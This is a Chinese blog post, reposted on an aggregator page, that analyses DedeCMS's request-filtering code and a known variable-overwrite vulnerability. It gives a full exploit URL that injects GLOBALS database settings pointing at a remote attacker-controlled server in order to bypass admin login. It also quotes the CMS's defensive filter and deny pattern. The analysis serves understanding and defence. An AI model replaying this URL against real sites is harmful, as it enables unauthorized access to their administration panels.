当前位置: 首页 > news >正文

山东网站建设公司泉州全网推广

山东网站建设公司,泉州全网推广,iis网站301重定向,网站开发有哪些方式本文是过往云烟原创 转载请注明出处 谢谢 (*^__^*)…… 最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。 今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件 …
本文是过往云烟原创  转载请注明出处 谢谢  (*^__^*)……  

最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。

今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php  这个文件是dede的入口文件  
今天开始研究了一下 common.inc.php 这个文件  
发现了一个很有趣的事情    
这篇日志主要是说的变脸覆盖问题  

众所周知  php的 $GLOBALS['a'] = 'aa';  这样 就相当于 定义了一个$a = 'aa';的全局变量  然后呢 有人就可以利用这个机制来做一些事情  最火的就是前一段时间的织梦变量覆盖漏洞  

http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root  


直接这样写 替换下验证码 就可以登陆后台  因为 GLOBALS数组定义了一些全局变量  cfg_*  正好是 dede数据库配置的变量  然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库   用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了  

当然  dede也给出了防御代码  具体可以来分析分析  会发现一个很有趣的事情

dede把所有的get  post 等请求都给封装了下  然后 分配到每个变量   
在common.inc.php 文件 第37行
 
function _RunMagicQuotes(&$svar)
{if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ){exit('Request var not allow!');}$svar = addslashes($svar);}}return $svar;
}
if (!defined('DEDEREQUEST')) 
{//检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {if($_k == 'nvarname') continue;CheckRequest($_k); CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  ){exit('Request var not allow!');}}}//var_dump($_REQUEST);exit;CheckRequest($_REQUEST);foreach(Array('_GET','_POST','_COOKIE ') as $_request){foreach($$_request as $_k => $_v) 
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes ($_v);
}}
}



  这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢  他首先会执行这个 CheckRequest函数 然后参数是$_REQUEST  众所周知 这个参数可以获取  get post  cookie 的值  然后呢  这个函数就会判断这个是否维数组  如果是的话就继续递归调用这个函数  当然为了防止多维数组  他还   CheckRequest($_k);    CheckRequest($val[$_k]);  这样递归调用  因为 上面那个 漏洞URL 就是一个多维数组   然后直到最后是字符串了 就会判断  如果字符串有值  或者字符串 是  cfg_|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序  这样就有效的防止了 多维数组 来覆盖全局变量   最后还有个foreach循环  把所有的   '_GET','_POST','_COOKIE  都去 _RunMagicQuotes过一遍   _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量   这样  比如说  get 数组 有个  ?a=aa  那么  就会生成一个变量  $a = aa  而且还是转义后的    


好了 先分析这么多   以后继续分析别的代码     其实分析别人的代码还是很有意思的   手打了这么多累死了   在此感谢  果冻兄  和 宝宝兄 给的几个思路  不然还不会明白这么快  


过往云烟  2012/1022
http://www.yayakq.cn/news/580468/

相关文章:

  • 网站建设投票主题wordpress安装centos
  • ps做网站效果图都是按几倍做做直播网站软件有哪些软件下载
  • 网站建设报价 下载app编程入门教程
  • 网站收录什么意思电子商务网站建设价格
  • 深圳手机网站建设价格低厦门建站网址费用
  • 怎么做网站 白怎样创建个人视频号
  • 网站一般用什么语言做免费开通网站
  • 酒店行业网站建设方案网站开发包括网站设计
  • 济南智能网站建设电话app开发网站建设培训班
  • 广东省建设厅投诉网站网站诊断分析报告模板及优化执行方案.doc
  • 芜湖seo网站优化家教中介网站开发
  • 网站开发注销代码网站建设的费用预算
  • 东莞樟木头网站制作苏州网站建设科技
  • 有效的网站推广方式南京百度网站建设
  • 可以做推广东西的网站支付宝wordpress api接口
  • 网站界面设计规范wordpress图片生成插件
  • 中国建设银行网站的发展如何seo推广
  • 网站架构有哪些网站开发与维护工资
  • 西安专业网站制作在线做头像网站
  • 昆山网站建设昆山免费网站建设加盟
  • 有云服务器怎么做网站昆明网站建设赵
  • 专注南昌网站建设wordpress主题UIGREAT
  • 网站开发的目的 实习报告建设明星网站的目的论文
  • 网站建设中倒计时源码如何获取新注册公司电话
  • 网站app建设图片软件开发流程管理系统
  • 当年的51网站wordpress文章群发工具
  • 网站中的ppt链接怎么做门户网站信息流广告怎么做
  • nodejs同时做网站和后台管理wordpress 静态内容
  • 企业网站欣赏郑州企业形象设计wordpress的编辑器在哪个目录
  • 网站建设实训的报告肥城房产网